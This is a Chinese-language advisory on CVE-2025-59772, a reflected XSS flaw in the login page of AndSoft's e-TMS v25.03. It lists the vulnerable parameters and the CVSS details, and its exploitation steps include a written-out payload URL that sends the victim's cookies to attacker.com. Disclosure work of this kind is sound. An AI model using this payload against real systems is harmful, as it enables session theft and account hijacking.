CVE-2025-59772CVE-2025-59772 是 AndSoft 公司开发的 e-TMS（Electronic Transport Management System，电子运输管理系统）v25.03 版本中存在的一个反射型跨站脚本（Reflected XSS）漏洞。该漏洞于2025年10月2日由西班牙国家网络安全研究所（INCIBE）披露，CVSS 3.1 基础评分为 6.1 分，属于中危级别漏洞。
e-TMS 是一款广泛应用于物流和运输行业的管理系统，用于处理运输订单、车辆调度、物流跟踪等业务。由于该系统通常涉及企业内部敏感数据，如客户信息、运输合同、财务记录等，其安全性至关重要。
该漏洞存在于 e-TMS v25.03 的登录页面 '/clt/LOGINFRM_SIL.ASP' 中，涉及多个参数未经过充分的输入验证和输出编码，包括 'l'、'demo'、'demo2'、'TNTLOGIN'、'UO' 和 'SuppConn' 等参数。攻击者可以通过构造包含恶意 JavaScript 代码的 URL，诱骗受害者点击，从而在受害者的浏览器上下文中执行任意脚本代码。此类漏洞通常用于窃取用户会话凭证、劫持用户身份、进行钓鱼攻击或传播恶意软件。
由于该漏洞的攻击向量为网络（AV:N），无需认证（PR:N），且仅需要用户交互（UI:R），攻击者可以通过发送恶意链接（如通过电子邮件、即时通讯工具等方式）来实施攻击，利用门槛相对较低。
该漏洞是一个典型的反射型跨站脚本（Reflected XSS）漏洞，其根本原因在于 e-TMS v25.03 的登录页面 '/clt/LOGINFRM_SIL.ASP' 在处理用户输入时，未对多个查询参数进行充分的过滤和输出编码。
具体而言，以下参数存在 XSS 注入风险：
- 'l' 参数
- 'demo' 参数
- 'demo2' 参数
- 'TNTLOGIN' 参数
- 'UO' 参数
- 'SuppConn' 参数
当用户访问包含恶意脚本的 URL 时，服务器会将这些参数的值直接反射到响应页面中，而未进行 HTML 实体编码或适当的转义处理。攻击者可以在这些参数中注入任意 JavaScript 代码（如 <script>alert('XSS')</script>），当受害者的浏览器解析该页面时，注入的脚本将在受害者的会话上下文中执行。
利用方式：
1. 攻击者构造一个包含恶意 JavaScript 代码的 URL，例如：
https://target-server/clt/LOGINFRM_SIL.ASP?demo=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
2. 攻击者通过社会工程学手段（如钓鱼邮件、即时消息等）诱骗受害者点击该 URL。
3. 受害者的浏览器加载该页面后，恶意脚本在受害者上下文中执行，可窃取会话 Cookie、重定向到恶意网站、修改页面内容或执行其他恶意操作。
该漏洞的 CVSS 向量为 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N，表明攻击复杂度低，无需权限，但需要用户交互，且作用域发生了变化（Scope Changed），意味着漏洞影响超出了易受攻击组件本身。